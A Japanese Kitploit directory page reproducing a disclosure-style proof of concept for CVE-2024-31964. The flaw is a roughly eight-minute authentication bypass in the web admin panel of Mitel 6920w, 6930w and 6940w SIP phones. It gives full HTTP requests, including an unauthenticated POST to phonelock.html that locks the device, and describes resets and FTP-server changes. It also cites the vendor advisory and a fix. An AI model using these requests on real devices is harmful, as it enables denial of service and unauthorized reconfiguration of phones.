Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-31964 — CVE-2024-31964の概念実証エクスプロイト。Mitel 6900wシリーズSIP電話の一時的な認証バイパスで、認証されていないPOSTリクエストによるデバイス設定の変更とサービス拒否を可能にします。 | Kitploit
ツール/GitHubGitHub/d-raco/cve-2024-31964
IoTセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストハードウェアセキュリティ認証
GitHubd-raco/cve-2024-31964

CVE-2024-31964

CVE-2024-31964の概念実証エクスプロイト。Mitel 6900wシリーズSIP電話の一時的な認証バイパスで、認証されていないPOSTリクエストによるデバイス設定の変更とサービス拒否を可能にします。

リポジトリを見る
221年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-31964

CVE-2024-31964 PoC: Mitel 6900w シリーズ SIP 電話機 - 一時的な認証バイパス

脆弱性の詳細

概要

これは、複数の Mitel 製品の HTTP 管理 Web サイトパネルにおける一時的な認証バイパスの脆弱性です。

影響

この脆弱性により、攻撃者はデバイスの構成を変更し、影響を受けるデバイスに対してサービス拒否(DoS)攻撃を実行できます。

要件

正規ユーザーが数分前にログインに成功しており、かつ攻撃者と同じ送信元 IP からログインしている必要があります。

提案された CVSS

提案された CVSS:

  • CVSS v4.0 score: 7.2
  • CVSS v4.0 vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:H/SC:L/SI:L/SA:H

参照

アドバイザリ: Mitel Product Security Advisory 24-0007

テスト環境

この CVE は、以下の特性を持つ 3 台の SIP 電話機を監査中に発見されました(この CVE はこれら 3 つのデバイスモデルに対して正常にテストされています)。

  • デバイス製造元: Mitel
  • デバイスモデル:
    • 6920w
    • 6930w
    • 6940w
  • デバイスバージョン: ファームウェア 6.3.2.85
  • システム言語: スペイン語
  • デバイス URL リファレンス:
    • https://www.mitel.com/document-center/devices-and-accessories/ip-phones/6900-series/6900-ip-phones/minet-22/en/mitel-6920-6920w-ip-phone-user-guide
    • https://www.mitel.com/document-center/devices-and-accessories/ip-phones/6900-series/6900-ip-phones/minet-22/en/mitel-6930-6930w-ip-phone-user-guide
    • https://www.mitel.com/document-center/devices-and-accessories/ip-phones/6900-series/6900-ip-phones/minet-22/en/mitel-6940-6940w-ip-phone-user-guide
  • 影響を受けるコンポーネント: HTTP 管理 Web サイトパネル

Mitel のアドバイザリによると、この脆弱性はさらに多くの製品に影響しますが、私はそれらを検証するためのアクセス権を持っていませんでした。

概念実証

一般に、Mitel の制御/管理 Web パネルのリソースにアクセスするには、アクセスしようとしているユーザーの資格情報を設定する "Authorization" ヘッダーを付けてリクエストを送信する必要があります。

認証済みリクエストの例:

0-authenticated_request

root@kitploit:~
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

このヘッダーが設定されていない場合、"Unauthorized" エラーが発生し、資格情報を要求する認証が求められます。

未認証の GET リクエスト:

1-unauthenticated_request

root@kitploit:~
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

応答:

root@kitploit:~
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html

<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...

しかし、アプリケーションからのすべての POST リクエストは、Authorization ヘッダーを設定せずに、つまり未認証ユーザーとして実行できることが判明しました。ただし、正規ユーザーが以前に攻撃者と同じ送信元 IP からログインしており、かつ限られた時間内である場合に限ります(その時間枠は約 8 分であると測定されています)。つまり、正規ユーザーがデバイスの管理 Web サイトにログインすると、ログインしたユーザーと同じ IP を持つ攻撃者が、資格情報を知らなくても未認証の POST リクエストを実行できる約 8 分間のウィンドウが存在します。この脆弱性は、正規ユーザーと IP を共有する必要があるため、かなり制限的ですが、PC を共有する場合や、同じプロキシサーバーを介してコンピュータにアクセスする場合には、悪用の可能性が高くなります。

POST リクエストを使用すると、ユーザーのパスワードの変更(パスワードの事前知識が必要)、デバイスのロック/ロック解除、デバイスのリセット、連絡先の CSV ファイルのアップロード、構成サーバーの設定などが可能です。

たとえば、Authorization ヘッダーなしでデバイスをロックしようとすると、デバイスが実際にブロックされてユーザーへのサービスが拒否され、さらに電話機を再起動してサービスを一時的に完全に拒否することもできます。簡単なテストとして、短縮ダイヤルキーと構成サーバーも実際に変更しました。

未認証の phonelock リクエストの例:

2-unauthenticated_lock

root@kitploit:~
POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear

未認証で成功した応答:

root@kitploit:~
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright &copy; 2023 Mitel Networks Corporation</span><span class='support'><a href='https://github.com/d-raco/cve-2024-31964/blob/main/support'>Servicio de soporte técnico</a></span></div></div></body></html>

さらに、デバイスのリセットを要求できます:

3-unauthenticated_reset

また、ping を使用して一時的な接続喪失を確認できます:

4-ping_unauthenticated_reset

ほとんどのパラメータを変更できます... たとえば、FTP サーバー:

5-unauthenticated_ftp_mod 6-unauthenticated_ftp_mod_changed

推奨される解決策

Authorization ヘッダーは常に要求して検証する必要があり、かつ/またはセッションは送信元 IP ではなく Cookie で管理する必要があります。

ツールをダウンロード